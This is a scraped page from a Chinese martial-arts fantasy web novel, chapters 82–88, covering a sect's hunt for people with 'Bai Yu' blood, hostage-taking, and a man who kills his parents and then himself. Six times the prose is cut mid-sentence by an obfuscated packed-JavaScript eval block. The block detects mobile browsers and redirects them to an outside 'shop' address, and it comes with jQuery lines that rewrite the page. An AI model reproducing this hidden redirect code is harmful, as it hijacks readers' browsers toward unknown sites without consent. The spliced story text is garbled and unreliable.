徐晋望着倒卧在地、身负重伤的四人,无奈地摇了摇头,轻轻叹息一声后,将目光转向一旁的郑运晨,开口询问道:“对于这几人,大人究竟有何打算?又准备如何处置他们?” 只见郑运晨一脸冷漠,毫无表情地回答说:“自然是一个不留,全部杀掉。” 就在此时,一只洁白如雪的信鸽如同闪电般飞掠而至,稳稳地落在了其中一名相月山弟子的肩膀之上。 那名小弟子赶忙伸手取下鸽子腿上系着的信件,快速浏览一番之后,便匆匆忙忙地凑到郑运晨身旁,压低声音悄悄说道:“齐师兄说,留在上荷村的那个柳春和,不久前逃跑了。” 郑运晨听闻此讯,嘴角微微上扬,露出一抹不屑的笑容,嘲讽地说道:“呵,真是有趣极了。看来咱们门派的长老们久居山中,疏于下山历练,连这等小事都办不好,业务能力可是生疏了许多呢。” 站在旁边的那名小师弟听到郑运晨竟敢如此评价自家的长老,心中不由得一惊,连忙低下头去,暗自思忖着:唉,还是跟随着齐明师兄比较好呀,齐师兄可从来不会像这般阴阳怪气地说话! 郑运晨斜睨了一眼不远处的刘岩承,稍稍思索片刻后接着说道:“既如此,当下暂且不能就这样轻易地将此人处死。先把这二人绑起来,然后高高地悬挂在南城门之上。我倒是要看看,那个柳春和到底有没有胆量前来见自己父母最后一面。” “你这就有些……”徐晋听他说出这番话后,不禁感到一阵寒意从脊梁骨上升起,浑身不由自主地颤抖起来。 “有些什么?过分?狠心?还是无情?”郑运晨不以为意的说着,仿佛看穿了徐晋内心深处的恐惧和挣扎。 “方景明强迫你喝下白榆血,将你变成白榆人之时,难道你当时心中没有一丝愤怒,没有觉得他这种行为太过卑鄙无耻、丧心病狂吗?当他每个月肆意践踏你的尊严,甚至当着众人的面羞辱你的妻子和儿女时,难道你还能忍气吞声,认为他只是一时冲动而非心狠手辣之人吗?”郑运晨步步紧逼,言辞犀利如刀,每一句话都像一把重锤狠狠地砸在徐晋的心口上。 徐晋脸色苍白,额头上冒出细密的汗珠,但他仍然强忍着心中的怒火和悲痛,挺直身子向前迈了一步,大声反驳道:“可那终究只是方景明一个人犯下的罪行!柳岩承夫妇与此事毫无关系,你们怎能如此羞辱他们!” “哦?是吗?”郑运晨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14170830|150486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冷笑一声,眼中闪过一道寒光,“那不妨把方有位夫妇二人也一起绑到南城门上去示众好了。若不是你刚刚提起,我差点都忘记了这流芳斋乃是由他们四个人共同创立的产业。”说完,他转头对身旁的几个小弟子下令道:“你们赶快行动起来,速去南城门与许歆会合。记住,如果柳春和还有一点良知尚存,只要让她知道我们已经抓住了她的父母,想必她定会主动前来的。”话音一落,那几名小弟子纷纷领命。 一名弟子神色匆匆地带着徐晋朝着衙门方向疾步而去,而另外几名弟子则费力地拖拽着柳岩承等人往南城门走去。 此刻,有一个身影正躲藏在巷子口处,内心充满了纠结和犹豫,不知道是否应该再次更换一个城门以避开众人的视线。 就在这时,她不经意间抬起头来,目光瞬间定格在了前方不远处。那熟悉的面容令她瞬间呆愣在原地,身体仿佛被施了定身咒一般动弹不得。一时间,各种复杂的情绪涌上心头,她竟然不知道此时此刻究竟该如何应对眼前的局面。 长久以来,她一直对自己的父母心怀不满和怨恨。他们总是强迫她学那些她丝毫不感兴趣的东西,肆意插手她的私人生活,对于她所钟爱的事物更是不断地加以指责和批评。然,不可否认的是,也正是他们含辛茹苦地将她抚养长大,从来不曾让她缺少过衣食温饱,数十年来始终如一地照顾着她。 父母与孩子之间的感情,大多都无法放到天平上一一衡量。哪怕恩是恩,怨是怨,可算到最后才发现,恩即是怨,怨即是恩,从生下来的那一刻,到抚养成人的十几载,恩怨早就分不清,也算不明了。 本小章还未完,请点击下一页继续阅读后面精彩内容! 第83章 相厌 江洵盯着方景明,忍不住看了一眼身旁的傅霖,嘴角扬起一抹嘲讽的笑容,阴阳怪气地说道:“哎哟,这是怎么一回事?居然有人敢如此大胆,直接跑到师兄您面前来打脸?” 傅霖冷哼一声,“幕后黑手又不是他。” “我也没说是他呀,只是在说......”他说到此处,特意压低了声音,踮了点脚凑到傅霖耳边说道:“师兄的药,看来也不是很好使啊。” “好不好使,下次给师弟用用就知道了。”傅霖笑着回。 只见方景明艰难地从地上坐起身子,他那原本红润的嘴唇因为动作突然变得毫无血色,显得异常苍白。他微微颤抖着开口说道:“少主想问之事,在下虽不敢说知晓全部,但也确实略知一二。只是……还望少主能够信守承诺,给我的父母一个痛快,让他们少受些折磨。” 站在一旁的许歆听后,面无表情地点了点头,然后转头对着身边的弟子吩咐道:“把他父母放下来。”很快,两名弟子便按照命令行事,将被高高吊起的方父方母小心地放了下来。 这一家三口,终于在临死前得以相见。方景明看着眼前憔悴不堪的父母,眼中满是悲伤与无奈,但他知道现在不是伤心的时候,于是深吸一口气,开始讲述自己所知道的一切。 他尽量使用最简单易懂的语言,举了一个最为实际且容易理解的例子来说明为何有些白榆人的血液可以续命,而有些却没有任何作用。 如果甲某是真正的白榆人,那么当甲某将自己的血液传给乙某时,乙某就会成为甲某的附属品,这一生都将依赖甲某才能存活下去。然而,由于乙某并不是纯正的白榆人,所以当他再将血液传给丙某时,虽然可以调动体内的毒性,但本身却无法为丙某延续生命。 也就是说,如果丙某想要活下去,那就必须在一个月之内获取到甲某的血液才可。 同样地,乙某可以继续感染丁和戊等人。然而,至关重要的一点是,无论是乙某还是后续受到波及的丁、戊等人,他们用以维系生命的血液源头无一例外都是来自甲某。 这就意味着,丙某能够跨越乙某这个中间环节,直接同甲某建立联系;此外,如果丙某心怀仇恨想要报复乙某,那么他大可以动手除掉乙某。不过需要注意的是,丙某如果想要活下去,那么他绝对不能杀死直系供血者的甲某。 至于徐晋为何要向方景明讨要两份血液? 是因为,徐晋一直认为直接饮血过于恶心,所以每月都将其混入红糖水中一并饮用。只是那日水太烫,他想等凉了以后再喝。 可一转眼,被他贪吃的儿子一饮而尽。待徐晋察觉此事之后,心急如焚,赶忙采取措施试图让儿子把刚刚喝进去的东西吐出来,但是为时已晚。 面对加倍索要血液的徐晋,方景明当然表示无法接受。在他看来,徐晋根本就是居心叵测,极有可能是想用自己的血液去加害他人。 而且,柳叔刚提醒过他,让他近期一定要谨言慎行,切不可招惹是非,尤其不能随随便便就把自己的血给了别人。 正是由于上述种种原因,方景明毫不犹豫地拒绝了徐晋的请求。而也是方景明的拒绝,无疑成为了彻底压垮徐晋的最后一根稻草。 他本身还在犹豫要不要举报方景明,事到如今,他觉得死之前能拉上那么多白榆人给自己作伴,完全值 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14170831|150486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了! 而这几日闹的沸沸扬扬的盗匪案本身就只是个幌子,目的是为了用来迷惑藏在此地的白榆人。 经过深思熟虑之后,相月山认为这次的偷窃案算不上是什么极其严重的大罪,毕竟它并未造成实际的人员伤亡。于是乎,齐明心生一计,决定与金益冬联手,蓄意将这件事情无限放大。 为此,他们不仅添油加醋、夸大其词,还整日派遣手下之人前往街道之上,苦口婆心地提醒着当地的老百姓:“各位乡亲父老啊!晚上就寝之时务必得牢牢锁住自家的门窗,万不可掉以轻心呐!若是家中有任何物品失窃,切记一定要速速上报衙门,切莫耽搁!” 尤为重要的是,他们多次指使众人频繁地前往流芳斋周边溜达闲逛,并且暗中授意那些乔装改扮后的弟子们,看似漫不经心实则有心为之的提及相月山正全力以赴抓捕盗匪这一情况。 而说起那日方景明所受之伤,实际上也是提前安排好的一场戏码。其真实目的便是想要借此良机,好好检验一番方景明是否如徐晋所说的那般,体内的血是白榆血。 虽说当时出手时稍微重了一些,所幸最终所得到的结果的确如他们所预期的那般准确无误。 至于那个始终未曾落网的盗匪头目,早在几日之前就已经被齐明捉拿归案,并藏匿于相月山所下榻的那家客栈之中。而今日便趁着天色尚未破晓之际,悄悄地给他换上相月山的服饰,然后神不知鬼不觉地将送到了金益冬那里。 “这么说,你是彻头彻尾的白榆人?”许歆微微歪着头,一双美眸好奇地盯着面前的方景明,轻声问道。 这章没有结束,请点击下一页继续阅读! 第84章 笑君 林笑君就这么在这儿等了一夜,终于,在黎明时分,远远望见一个身影摇摇晃晃地朝着这边走来。 只见那人走起路来东倒西歪,仿佛脚下无根一般。再结合之前孩子们所描述的样貌以及其腰间独特的配饰,林笑君可以百分之百确定,眼前这个浑身散发着浓烈酒气、口中还不停嘟囔着“结婚好……结婚好啊……”的醉汉,正是那个丧尽天良、拐卖孩子的罪魁祸首。 而他却浑然不觉自己的身后竟然还鬼鬼祟祟地跟着一个黑色的人影。林笑君眼尖得很,一眼就瞥见了那个手持利刃的年轻男子。 “寻仇么?”她暗自思忖道。 那男子或许是生平头一回拿起刀子,握着刀柄的手都在不受控制地颤抖着,身体也不由自主地往后退缩,甚至都不敢过于靠近前方的目标,仿佛生怕稍有不慎便会被那人察觉。 林笑君无奈地轻叹一声,心想既然如此,倒不如赶在那人尚未动手之前先发制人。说时迟那时快,只见她身形一闪,如鬼魅般迅速欺身向前,手中长剑寒光一闪,瞬间便已一剑封喉。那老头直到临死前的一刻,仍直勾勾地瞪大双眼盯着林笑君,脸上满是惊愕与茫然,根本没有弄清楚刚才到底发生了何事。 “当啷!”随着一声清脆的响声传来,柳岩承此刻正呆呆地站在原地,瞠目结舌地望着眼前这个杀人连眼睛都不眨一下的冷艳女子。一时间心中五味杂陈,竟分不清自己对她更多的是感激之情,还是深深的恐惧之意。 林笑君面无表情地瞥了他一眼,开口吩咐道:“会处理尸体吗?找个大麻袋来,将这尸首塞进去,然后再往里多装几块大石头,一起沉入湖中。” 嗯???她刚刚是在跟我说话吗?是在教导我如何掩埋尸体?柳岩承满心狐疑地思考着这个问题。 就在他看到林笑君转身准备离开,心中一急,赶忙开口喊道:“等等!他还有一个儿子,今日刚好结婚。” 听到这话,林笑君停下脚步,转过身来,不解地问道:“那又如何?” 柳岩承咽了口唾沫,结结巴巴地回答道:“所……所以,你……你就不把他儿子也一并杀掉吗?” 林笑君微微皱起眉头,沉思片刻后问道:“他儿子可有参与拐卖幼童?” 柳岩承摇了摇头,老老实实地回答:“据我所知,没有。” “既如此,我为什么要杀害他?”面对这样的质问,柳岩承一时语塞,他张了张嘴,却发现自己根本无法给出一个合理的理由。他就这样愣愣地站在原地,大脑一片空白,等到好不容易回过神来的时候,才惊觉眼前早已没了林笑君的身影。 柳岩承心里暗自想道,或许这辈子再也见不到那女子了吧。 可令他万万没想到的是,没过多久,春平就作为试点县,开展了有史以来第一次大规模的验血行动。也就是在那天,他再次见到了林笑君,那人手中正拿着一张黑色的弥生符纸。 他的心中瞬间涌起一阵喜悦,原来她和自己一样,竟然都是白榆人! 可是,当他躲在一旁望向林笑君的脸庞时,却发现她依旧是那副淡然如水的神情,仿佛世间万物都无法引起她内心的波澜。即使在被中律司的弟子推搡着带走时,她也是一脸冷漠,既不做任何解释,也未曾有丝毫反抗。 他焦急万分,想要立刻冲上前去询问究竟发生了何事,但无奈周围戒备森严,他只能强忍着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14170832|150486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冲动,等待时机。好不容易让他混过了检查,便迫不及待地四处打听关于林笑君的情况。 可得到的消息却如同一盆冷水当头浇下,让他的心瞬间坠入冰窖。 有人告诉他,林笑君尚未踏入中律司的大门,就被一个神秘人当场劫走了,至今仍然下落不明、杳无音讯。 “我爷爷???那个畜生做的事与我爹娘何干?我甚至从未见过他!”方景明怒目圆睁,脖子上青筋暴起,声嘶力竭地朝着柳春和怒吼道。 柳春和面沉似水,目光如炬,直视着方景明的眼睛,缓缓开口说道:“你爹说无辜也不无辜,说不无辜却也无辜。在我看来,你爷爷的确是个丧心病狂、十恶不赦之人。然而不可否认的是,他所赚取的钱财,确确实实有一半都用在了培养你爹身上。你爹虽从未亲身参与过那些伤天害理之事,可是他明知你爷爷的所作所为,却也从未主动前往衙门去揭发检举其罪恶行径。” “如此一来,你怎还敢大言不惭、义正辞严地声称你爹全然无辜?方景明啊方景明,难道你天真地以为,只要未曾亲自出手作恶,便是无罪之身?若真是这般道理,那请问我的爹娘当年究竟做错了何事?凭什么就要白白承受来自你爷爷的折磨和毒打?”柳春和的每一句话都如同重锤一般,狠狠地砸在方景明的心坎上。 一直沉默不语的许歆突然伸出右手,高声喊道:“且慢,请容我打断一下!”她成功吸引了两人的注意力后,紧接着追问道:“既然柳姑娘方才提及,你的父母并非为真正的白榆人,那么问题来了,为何偏偏你体内流淌的却是纯正的白榆血呢?” 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩! 第85章 无解 献岁阁向来风评不佳,内部争斗更是频繁不断,可江湖无人不知献岁阁又是出了名的护短。 哪怕云璟对江挽心存不满,可一旦听见他人评头论足三阁之事,也定会毫不留情地出手教训。 至于温如玉那疯子,更是听不得半点儿关于献岁阁的负面言论。 “误会?能有什么误会?”许歆猛地站起身来,目光如炬,仿佛要将其看穿一般。 一旁的沈亦行见此情形,伸手从背后轻轻推了一把莫惊云。 毫无防备的莫惊云突然被推到了人前,脸上满是茫然之色。但很快,他便反应过来究竟发生了何事,略显尴尬地干笑一声。 随后,莫惊云开口向众人解释起来:“事情其实是这样的,当年那场检查过于匆忙,以至于部分弥生符尚未完全浸泡到位,被一些并不知情的弟子误拿去使用了,故而笑君前辈手中的符纸才会出现问题。” “不过没多久,她本人就登门拜访,由当时的宗主南宫靖亲自为她重新检测,而结果是——笑君前辈并非为白榆人。” 听完这番话后,许歆原本还算平静的面容瞬间变得阴沉至极,她的双眉紧紧地皱在一起,“那贵宗当初为何不把这些实际情况一五一十地解释清楚呢?” 面对许歆的质问,对面之人稍作迟疑,随后缓缓开口道:“这个嘛……当时那种紧急关头,如果贸然指出弥生符存在问题,恐怕会引起轩然大波。毕竟,百姓本来就不太情愿花费自己的时间来配合检验工作。要是这时候再生出其他事端,势必会引发他们更大的不满情绪。所以,无奈之下,只能暂时先委屈一下笑君前辈了。但她倒也向中律司提出了一个条件。” “什么条件?” “倘若日后献岁阁里出现了白榆身份的弟子,那么中律司不得过度干涉此事,一切都需要交由献岁阁自己去妥善处理解决。” 许歆一听这话,顿时气得火冒三丈,怒喝道:“荒唐!简直是荒唐至极!就这样离谱的条件,中律司居然也答应了?你们到底是怎么想的!” 就在许歆刚想要继续说些什么的时候,莫惊云却突然发问道:“要我说,荒唐之事也不单单只有这一件,听闻上荷的结界乃是由相月山的诸位长老齐心协力共同布下的,按理说应该是天衣无缝才对,可我瞅着怎么还有漏网之鱼呢?” 话音刚落,他便用眼角余光瞥了一眼站在一旁的柳春和。 听到这番话,许歆瞬间就像被噎住了一样,喉咙里仿佛卡了一块石头,一句话也说不出来。 因为不得不承认,莫惊云所说确实是事实。 如果莫惊云只是一名普通的中律司弟子,或许她还能够据理力争一番,但此人却是跟随在南宫靖身边做事儿的,就连南宫珩那个一向嚣张跋扈的小子见到他都要礼让三分。 而另一边,傅霖原本正打算询问江挽为何要替林笑君说话,但念头一转,想到林笑君乃是三阁之人,江挽出手相助于她倒也是合情合理的事情。 似乎是看穿了傅霖内心的想法,江挽不等他把话问出口,便轻轻地回应道:“我献岁阁之人,从来都由不得旁人评头论足、指手画脚。” 深知此时此刻不宜与莫惊云有过多争辩的许歆,很快就调整好了自己的情绪,并将攻击的目标转移到了方景明一家人身上。 她吩咐手下准备好笔墨纸砚,一一放到方景明身前,对他说道:“将你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14170833|150486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们所知道的白榆人姓名和住址,都详细地写在纸上。” “我说少主,你……是不是搞错了一件事情?”方景明再次抬头的时候,眼中已全然不见当初那惶恐不安、充满畏罪之感的神色。 还没等许歆来得及回应他的话语,就看到方景明突然低头,压低声音与身旁的父母轻声说了几句旁人难以听清的话。 紧接着,以迅雷不及掩耳之势,猛地从袖子里抽出一把寒光闪闪的短刃。 下一秒,他毫不犹豫地挥动手中的利刃,狠狠地划过了双亲的脖颈。刹那间,鲜血四溅,犹如盛开的红梅一般触目惊心。 方有为及其妻子甚至没有发出一丝声音,便双双倒地。他们的身体在地上抽搐了几下之后,便彻底失去了生机。 做完这一切后的方景明缓缓转过头来,面无表情地望向许歆。随后,他清晰说道:“我的目的已然达成。至于其他的事情,我……一概不知。” 话落,他举起那染满鲜血的短刃,直直地对准了自己的心脏部位。 郑运晨瞬间明白了方景明接下来将要做出何等疯狂之举,他急忙伸出手去,试图阻止对方。 但一切都太晚了,就在他的指尖即将触及方景明手臂的那一刻,只听得一声闷响,方景明手中的短刃已经深深地刺入了他自己的胸膛…… 只是死之前,他用略带歉意的眼神看向了柳春和。 仿佛要同她说“对不起”,仿佛又是在说“我等你”。 柳春和深吸一口气,缓缓闭上了眼睛,这就是他们身为白榆人的归宿,逃不掉又扔不开。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩! 第86章 哈哈 事情的起因是这样的,秦在锦表示,希望能够在明年六月份前来观赏献岁阁的弟子大会,江洵想也没想便答应了下来。 然而,傅霖却突然插话道:“假如你是冲着江洵所在的三阁而来的话,那我劝你还是趁早打消这个念头吧,免得白白浪费时间和精力。” 秦在锦闻言,面露疑惑之色,追问道:“为什么?” 他其实早就对献岁阁的弟子大会有所耳闻,只是结交的朋友中并没有来自献岁阁的弟子,导致他想看也看不了。 而且弟子大会三年才举办一次,他明年若是还看不上的话,那就得再等个三年了。 不过,他们阳春门为何不举办这种弟子比试? 然而仔细斟酌一番后,秦在锦还是打消了这个念头。如果真的举办了这样的活动,他想必也是不会参与其中的。 因为阳春门的弟子大会,可能只是弟子之间较量谁提出的治疗方案更为行之有效,谁开出的药方更具性价比罢了。 “自从笑君前辈离开之后,你们三阁可就再没有人能够在弟子大会上拿到第一咯。”傅霖一边说着,还忍不住打了一个大大的哈欠,仿佛对这件事情早已习以为常。 江洵明显有些不服气,他轻轻敲击了一下马车的一侧,发出清脆的声响。而坐在车内的人当然也听到了他们刚刚所讨论的话题,随后回应道:“傅霖所言......的确是实情。” “难道师父您当年也没能拿到第一吗?”江洵紧皱眉头,不服气地追问道。 江挽伸出手,缓缓拉开了马车的窗帘,好让新鲜空气进入车内。 而后望向车窗外的江洵,脸上满是宠溺的笑容,温柔地解释道:“六年前的弟子大会,林婆婆念着我的身体状况不佳,所以没有准许我参加。而三年前的弟子大会,我已然成为了阁主,自然也就没那个身份去参加了。” 她始终称呼林静姿为婆婆,最初只是出于想要留在献岁阁,而故意与她拉近关系、套近乎罢了。 但就这么日复一日地喊下来,不知不觉间竟也叫顺口了,仿佛这个称谓已经深深地烙印在了她的心中。 自从踏入献岁阁那一日起,她就很少向阁中弟子展露笑颜,更别提给人好脸色看了。即便是德高望重的老阁主方震,她也曾毫不留情地开口责骂过。 唯有面对林静姿时,她总是表现出毕恭毕敬的模样,不论是林静姿在世之时,还是其故去之后,她对待那个人的态度从未有过丝毫改变。 记得那一年,她当着众多人的面,突然间大发雷霆,毫不犹豫地一把掀翻了仝老的桌子。 并非是由于仝老嘲笑她年纪轻,没有资格担任三阁阁主之位,而是因为仝老口中那句轻蔑至极的话语:“林静姿到底是老糊涂了!” 这句话犹如一根导火索,在她看来,仝严又算得上哪根葱呢?怎么敢对林静姿妄加评头论足! 可话又说回来,听江挽这么说,江洵心里难免还是会涌起一丝小小的失落之情。 毕竟,在他眼中,三阁一直以来都是顶好的。 “不过嘛……”江挽微微眯起眼睛,看透了他的心事,缓缓开口说道:“如今咱们三阁有你在,日后还愁没有第一名吗?” 这番话犹如一阵春风吹进了江洵的心坎里,让他心花怒放,高兴得合不拢嘴。 只见江洵有些不好意思地抬起手来,轻轻摸了摸自己的鼻子, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14170834|150486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心里美滋滋地想着:师父竟然如此看好我,她还说我以后能够拿到第一名哎! 站在一旁的傅霖看到江洵那副因为几句夸赞就乐不可支的模样,心中顿时涌起一股想要泼冷水的冲动。 只要我还在献岁,你就拿不到第一。 可这个念头在脑海中转瞬即逝,他终归是要离开献岁的,那江洵也终究会拿到第一。 罢了,眼下就由着他开心吧。 就这样,几人一路走走停停,时间过得飞快,不知不觉间,马车已经行至献岁山下。 秦在锦满脸不舍地拉着江洵的衣袖,再三叮嘱道:“下山之后记得给我传信!咱可是约好了一起过任务的,你别敲摸的自己走了不喊我,咱可是过了命的兄弟。” 说完这些话他又突然想起来秦念淑还在他身后呢,这跟同自己的“狐朋狗友”谋划“离家出走”有何区别? 可一旁的秦念淑只是冷哼一声,并没有打断他,这或许也算是一种默认了。 “好!届时提前同你写信。”江洵笑着应下了,走了几步还不忘回头同秦在锦挥手道别。 一旁的傅霖见状不耐烦的“啧”了一声,“有完没完了?这辈子又不是见不到了,快点走!” 江洵被他这突然的一声催促分了神儿,上阶梯的时候一个没留意差点绊倒在那儿,傅霖眼疾手快的拽住了江洵的衣服,“长那么大一双眼睛,不知道看路?” “可要我送你上去,你这眼睛……”秦念淑抬头瞅了眼这望不到头的阶梯,有些担忧的说道。 但被江挽摇头拒绝了,笑着回:“不用麻烦,有人来接。” 这章没有结束,请点击下一页继续阅读! 第87章 招寿 这时,郜林突然将目光投向了江洵,上下打量一番后,不禁皱起眉头,咬牙切齿地说道:“我说洵儿啊,你这小子是不是又长高了?” 想当年,他们可都是差不多大小的身板儿,谁能料到短短这两年时间,江洵竟像是吃了什么灵丹妙药似的,个头儿一个劲儿地往上窜。 这叫郜林如何能咽得下这口气,这小子简直一点儿都不顾及兄弟的颜面! 这边话音刚落,一旁的瑶卿便紧接着开口道:“可不是嘛,不光是长高了,瞧这小脸儿,还晒黑了不少呢!” 说着,她顺手夹起一只香喷喷的鸡腿儿,轻轻地放到了江洵面前的碗里。 而坐在另一边的云蘅,则是眼睛眯成一条缝,盯着江洵坏笑着附和道:“嗯嗯,没错没错,不仅如此呢,咱们洵儿啊,越长越俊俏咯!” 在整个用餐期间,这间屋子始终充满着欢声笑语,仿佛每个人都是天生的捧场高手,绝不会让任何一句话落地无人回应。 在外面一向内敛沉稳的江洵,如今回到家也放开了性子,笑得脸颊都微微发酸。 酒足饭饱之后,大家并没有像往常一样匆匆起身离开,而是心满意足地继续围坐在桌旁,兴致勃勃地闲聊起来。 就在这时,一直默默倾听的陈叔突然开口问道:“洵儿啊,这次你打算在家里待多长时间?” 听到这句话,原本放松靠在椅背上的方知许立刻坐直了身子,不满地瞪了陈叔一眼,“人孩子刚刚才回到家里,您怎么就急着问什么时候又离开呢?” 陈叔见状,连忙解释道:“嗐!我可不是那个意思,我只是希望他能在家里多住些日子嘛。” 他的脸上露出一丝委屈的神情,接着说道,“洵儿这次一出去可就是将近四个月呐,要不是阁主跑去隰城把他给接回来,还不知道这孩子啥时候才想起回家来呢。唉,这孩子啊,一旦长大成人,见识到外面的花花世界,就变得不再那么念家喽……” 说着,陈叔轻轻地摇了摇头,眼神中透露出些许无奈和感慨。 江洵心里很清楚,陈叔之所以如此问,就是舍不得让他这么快离开。 他脑海中忽然浮现出一个人的身影,那个在任务中牺牲的少年郎——陈丰年。 假如陈丰年此刻还在世,毫无疑问,今天这张饭桌之上必定会再多摆上一副碗筷。 可世间之事往往没有假设可言,现实总是这般残酷无情。 “既然这样,那我就不走了,等到哪天你们都觉得我讨人厌了,迫不及待地想要把我赶走时,我再收拾行李下山。”江洵故作乖巧之态,笑嘻嘻地说道。 “哦?那你怕是永远都别想踏出咱们三阁的大门咯,陈叔可是不会对你感到厌烦的。哈哈哈……”瑶卿不禁被江洵的这番话逗得捧腹大笑起来。 她这一笑可不打紧,刚刚好不容易适应了自己新名字的哈哈(玄青),听到笑声后立刻抬起小脑袋,冲着瑶卿欢快地叫嚷了好几声,似乎也在跟着凑热闹一般。 坐在一旁的江挽闻声,好奇地转过头去,满脸狐疑地询问道:“玄青突然叫什么” “老大,洵儿给它改新名字了。”瑶卿摸了摸哈哈的狗头说道。 “什么?” “哈哈” “哈?”江挽一脸无语,她在说什么? “是哈哈!”瑶卿笑着纠正道。 翌日清晨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14170835|150486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,晨曦透过窗户洒在了屋内,映照出淡淡的光影。一阵匆忙的脚步声打破了宁静,原来是老阁主那边派来的人前来传话。 来人神色匆匆地说道:“三阁主,山下有百姓投递了任务,老阁主命我请您前往大殿商议此事。”说罢,便又急匆匆地赶去二阁传话。 而此刻,在大殿之上的三个人呈现出截然不同的状态。其中一人睡眼惺忪,不停地打着哈欠;另一人则更是离谱,竟然盖着一条毯子,堂而皇之地躺在椅子上呼呼大睡;还有一人倒是坐得稍微端庄一些,只是那双眼睛上却缠着一条白色的纱布。 方震踏入大殿奇怪。看到的就是眼前这番景象,气得脸色发青,浑身颤抖不已。瞪大了双眼,怒不可遏地吼道:“成何体统!!!你们三个有没有一点身为阁主应有的样子!!!啊???你们简直是不成体统!”他的声音犹如惊雷一般在大殿内回响,震耳欲聋。 直到方震这声怒吼传到了温如玉的耳朵里,才总算是将他从睡梦中唤醒。 温如玉那厮听到要议事之后,起身应了一声,但转眼间又继续睡了过去。傅霖见状,实在是无可奈何,只好吩咐几个小弟子过来帮忙。 几人硬是将温如玉从床上抬了起来,然后像扔麻袋一样把他直接扔到了大殿上的座椅上。 而那时的云璟刚走进门,就瞧见了这副场景,顿时忍不住翻了个大大的白眼,“没眼看。” 云蘅赶忙上前倒了杯茶水给方震,让他润润嗓子,消消气。“他们仨又不是头一天这么懒散,再说了,三位阁主出门在外的时候还是挺人模人样的,不给咱献岁丢人。” 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩! 第88章 低眉 胡世宣引着他们来到了村长钟其盛家,那人早已站立在门口,翘首以盼多时了。 一见到这几人的到来,村长脸上立刻绽放出灿烂的笑容,连忙迎上前去,亲切地招呼大家赶紧进门。 同时,他还不忘转头嘱咐他儿子钟潼,快去给几位道长倒杯热茶,暖和暖和身子。 众人纷纷落座后,不一会儿功夫,钟潼便手脚麻利地端来了香气扑鼻的茶水,并一一递到他们手中。 可奇怪的是,一盏茶都快要见底了,钟其胜却始终没有提及村子里那些怪异之事,只是与他们闲聊些家常,寒暄问候而已。 许是瞅着时间差不多了, 他才咳嗽了一声,略带拘谨的问道:“不知几位道长帮忙除祟一次,要收多少银两?若是不多,在下今日也能直接拿给您们,可若是.....我便先跟乡亲父老们凑一下,等您们临走时,再给您们。” 